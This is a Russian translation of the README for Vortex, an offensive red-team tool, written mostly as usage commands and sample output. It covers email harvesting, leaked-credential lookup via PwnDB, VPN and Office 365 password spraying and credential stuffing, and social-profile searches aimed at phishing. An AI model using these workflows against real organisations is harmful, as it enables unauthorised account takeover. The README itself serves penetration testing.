
Общий инструментарий для разведки, тестирования, перечисления и эксплуатации VPN
🚩 Это публичный репозиторий vortex. Для получения последней версии и обновлений, пожалуйста, поддержите нас через https://porchetta.industries/
VPN: Набор инструментов для общей разведки, тестирования, перечисления и эксплуатации
Если вы хотите спонсировать этот проект и получать последние обновления vortex, последние исправления ошибок, последние функции, поддержите нас на https://porchetta.industries/
Присоединяйтесь к нам в Discord!
Очень простой Python-фреймворк, вдохновлённый [SprayingToolkit][1], который пытается автоматизировать большую часть процесса, необходимого для обнаружения, перечисления и атаки на общие конечные точки O365 и VPN (такие как Cisco, Citrix, Fortinet, Pulse и т.д.).
Сделать фазу распыления VPN намного быстрее и проще. Кроме того, благодаря своей гибкости этот инструмент может быть довольно легко добавлен в существующий рабочий процесс OSINT.
Vortex в основном предоставляет помощь в выполнении следующих задач:
Установите необходимые компоненты с помощью pip3 следующим образом:``` sudo -H pip3 install -r requirements.txt
### Установка с помощью Virtualenv
В противном случае вы можете установить предварительные требования с помощью виртуального окружения:
###### В Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## Использование
Использовать инструмент довольно просто, но следует соблюдать рабочий процесс. Инструмент использует базу данных SQLite для хранения информации о текущей атаке.
### Рабочая область (Workspace)
Рабочая область представляет собой файл базы данных, используемый инструментом. Имя должно быть просто простым именем для маркировки текущей атаки, проекта или цели.
Каждой рабочей области назначается одна база данных SQLite. Когда вы указываете имя рабочей области, например:```
python manage.py -w workspace1
На самом деле вы говорите "Я хочу работать с файлом workspace1.db".
Для корректной работы Vortex необходимо инициализировать базу данных с правильными схемами. Для этого достаточно выполнить команду:``` python manage.py -w workspace1 db -c init
Если пользователь попытается пропустить этот этап, Vortex просто выведет на экран правильную команду для запуска.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
Вместо этого, при выполнении той же команды для существующей, инициализированной DB, Vortex запросит подтверждение перед перезаписью файла DB:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Действия и команды
Vortex работает с одним позиционным аргументом, 'Action', и другими именованными значениями.
Наиболее важным среди них является аргумент команды (`-c cmd`). В сочетании со значением действия команда определяет, что должен сделать Vortex.
Список поддерживаемых действий можно увидеть в справке:```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Как видно из справки, список поддерживаемых команд для каждого действия не указан нигде. Это связано с тем, что нет необходимости указывать команду напрямую. Действительно, если команда не указана, Vortex предложит пользователю выбрать одну из команд, доступных для указанного действия.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
То же самое относится к аргументу, необходимому для конкретной процедуры. Если аргумент сложно ввести во время выполнения, Vortex вежливо напомнит пользователю, что параметр обязателен. В противном случае Vortex направит пользователя к выбору или вводу необходимых аргументов.
Например, если пользователь хочет экспортировать определенную таблицу или даже столбец, единственное, что нужно сделать, — это запустить команду экспорта, как показано на изображении ниже:

Такое поведение делает Vortex очень простым в использовании.
### Общий рабочий процесс
Vortex был разработан для соблюдения определенного рабочего процесса, как показано на схеме ниже:

### Операции
#### Сбор пользователей
Сбор действительных пользователей для конкретной цели можно выполнить с помощью трех различных источников:
* LinkedIn
Этот источник был удален из-за нарушения пользовательских политик LinkedIn. Вы все еще можете работать с LinkedIn, используя [GoMapEnum](https://github.com/nodauf/GoMapEnum), а затем импортировать адреса электронной почты с помощью команды `import`.
Пожалуйста, имейте в виду, что использование этой функциональности является нарушением пользовательского соглашения LinkedIn, как указано в пункте [8.2](https://www.linkedin.com/legal/user-agreement#dos) пользовательского соглашения LinkedIn:
> Вы соглашаетесь, что не будете: [...]
> 2. Разрабатывать, поддерживать или использовать программное обеспечение, устройства, скрипты, роботов или любые другие средства или процессы (включая краулеры, плагины браузера и дополнения или любые другие технологии) для скрейпинга Сервисов или иного копирования профилей и других данных из Сервисов;
* CrossLinked
Чтобы частично заменить вышеуказанную функциональность, инструмент включает адаптированную версию [CrossLinked](https://github.com/m8r0wn/CrossLinked). Этот инструмент попытается обнаружить сотрудников компании с помощью Google и Bing. Это, безусловно, не то же самое, что прямой поиск в LinkedIn, но это довольно полезно.
Для правильной работы инструмент спросит пользователя, какой формат следует использовать для имен пользователей (например, john.doe, j.doe или d.john) и какой стандартный домен используется целевым доменом.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
Этот источник управляется с помощью урезанной, модифицированной версии theHarvester. Инструмент пытается извлечь имена/электронные адреса из Google (пассивный сбор) с помощью Google Dorks, а также с веб-сайта компании (активный сбор).``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
Этот источник работает с использованием портированной версии, реализованной в [sn0int](https://github.com/kpcyrd/sn0int).
**Примечание**: для этой функции требуется подключение к сети TOR. В Windows можно использовать встроенную версию, поставляемую с Vortex. В Linux, напротив, необходимо установить пакет tor (например, `sudo apt-get install tor` в Kali).
##### Запуск TOR```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### Остановить TOR```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex в основном использует две макрокатегории конечных точек: VPN и Microsoft (Office) конечные точки. Цель может быть добавлена как конечная точка Office или VPN, и Vortex попытается проверить конечную точку как Office или VPN соответственно, используя ряд валидаторов.
Давайте проясним на примере. Пользователю нужно атаковать цель evilcorp.com,
и проверить, является ли домен целью OWA, Lync, ADFS или O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### Поиск поддоменов для конечных точек VPN
Для конечных точек VPN пользователь может выполнить поиск поддоменов, чтобы найти хосты, на которых работают веб-логины VPN,
например:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting subdomain passive enumeration
[>] Found 10 subdomains
[$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
[>] Found 1 hosts running an SSL webserver
[$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
[>] Found 1 hosts with a VPN web login
[$] Elapsed time: 32.919618368148804
[*] Updating DB...
[+] Adding vpn.evilcorp.com:443 as a pulse target
[>] Elapsed time: 18.920615434646606
[+] Done
Для ручного добавления VPN-конечных точек, конечно, указания домена верхнего уровня, вероятно, будет недостаточно. Правильным способом является указание конкретного поддомена вместе с конкретным портом, на котором работает VPN-веб-сервер.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
#### Выполните атаку методом password spray или брутфорс против OWA, ADFS, LYNC или O365
Для выполнения атаки методом password spray или даже брутфорс единственным необходимым ресурсом является список паролей в виде текстового файла, где каждый пароль находится на отдельной строке.```
python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
$> 4
[*] Running O365Enumerator
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Чтобы выполнить атаку распылением паролей или даже грубой силой, единственным необходимым ресурсом является список паролей в виде текстового файла, с одним паролем на строку.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### Выполните атаку распылением паролей или перебор с использованием скомпрометированных учетных данных
Поскольку Vortex отслеживает учетные данные, оказавшиеся в утечке на PwnDB, пользователь может выбрать тестирование всех скомпрометированных учетных данных вместо предоставления файла паролей.
Однако учтите, что это поведение сильно отличается от обычной атаки распылением паролей. При обычной атаке распылением паролей один пароль пробуется для всех пользователей. При атаке с использованием скомпрометированных учетных данных эти учетные данные проверяются для конкретного пользователя, с которым они были скомпрометированы. Так, например, если Vortex обнаружил утечки:```
User Leaks
---------------------------- ----------------------------
[email protected] ["ISecretlyLoveAngela2020!"]
[email protected] ["Puppy19!", "MySweetJ111!"]
Vortex будет выполнять следующие попытки, и только следующие:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!
Для выполнения этой атаки не требуется файл паролей, но необходимо задать параметр (-L, или --leaks).```
python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[+] [email protected]:ISecretlyLoveAngela2020! is valid!
[-] [email protected]:Puppy19! is not valid.
[-] [email protected]:MySweetJ111! is not valid.
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
В основном это всё. Иногда инструмент может запрашивать дополнительную информацию перед выполнением атаки, например, выбор VPN-домена/группы.
В любой момент вы можете просмотреть найденные валидные логины, используя следующую команду:``` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password
1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done
#### Поиск профилей в социальных сетях
Иногда в крупных мероприятиях знание чуть больше о наших целях помогает нам
преодолеть их защиту, например, использование личных электронных писем или аккаунтов в соцсетях для фишинга,
или также найти ответы на контрольные вопросы для сброса пароля).
По этой причине я интегрировал [Profil3r](https://github.com/Greyjedix/Profil3r). Этот инструмент
пытается определить учетные записи в социальных сетях, потенциально связанные с человеком.
**ВАЖНОЕ ПРИМЕЧАНИЕ**: Profil3r пытается найти действительные профили, используя комбинирование имен. Он не может
гарантировать, что найденные профили действительно связаны с целевым лицом. По этой причине
профили не добавляются автоматически в Vortex DB.
В настоящее время можно работать с Profil3r в двух режимах:
* одиночный режим
* многопользовательский режим
Одиночный режим работает с набором ключевых слов, предоставленных пользователем:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search
...
└── FACEBOOK ✔️
├──https://facebook.com/elliot
├──https://facebook.com/alderson
├──https://facebook.com/elliotalderson
├──https://facebook.com/aldersonelliot
├──https://facebook.com/elliot.alderson
├──https://facebook.com/alderson.elliot
...
[+] Done!
Мульти-режим работает с именем и фамилией каждого пользователя в БД. Любое дополнительное ключевое слово, переданное в мульти-режиме, используется в сочетании с именем и фамилией пользователей. Так, например, вы можете использовать дополнительные имена или числа для настройки поиска профиля.``` python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!
#### Импорт внешних данных
Vortex также поддерживает импорт внешних данных, связанных с пользователями или конечными точками.
В настоящее время поддерживаются только текстовые файлы, а также имеется ограниченная поддержка CSV.
Типы данных, которые можно импортировать на данный момент:
* Адреса электронной почты
* Имена пользователей
* Конечные точки VPN (цель:порт)
* Домены
* ~~Утечки из PwnDB~~ УСТАРЕЛО: просто используйте команду поиска
* Данные LinkedIn, извлечённые с помощью ~~Blues~~
Каждый тип данных поддерживается в обычном текстовом формате, один элемент на строку.
## План развития
Новые функции скоро появятся (2022):
* Умная генерация списка паролей
* Извлечение и корреляция данных
Пожалуйста, сообщайте об ошибках, предложениях или запросах функций.
## Благодарности
* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): За его потрясающую работу над [SprayingToolkit][1], которая вдохновила проект
* [nodauf](https://twitter.com/nodauf): За его работу над [GoMapEnum](https://github.com/nodauf/GoMapEnum), которая дала мне другие идеи
* [quasart](https://github.com/quasart): Логотип был сгенерирован с помощью [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): За его работу над [CrossLinked](https://github.com/m8r0wn/CrossLinked), которая действительно является отличным инструментом
* [Greyjedix](https://github.com/Greyjedix/): За его работу над [Profil3r](https://github.com/Greyjedix/Profil3r), который является очень полезным инструментом в определённых обстоятельствах
[1]: https://github.com/byt3bl33d3r/SprayingToolkit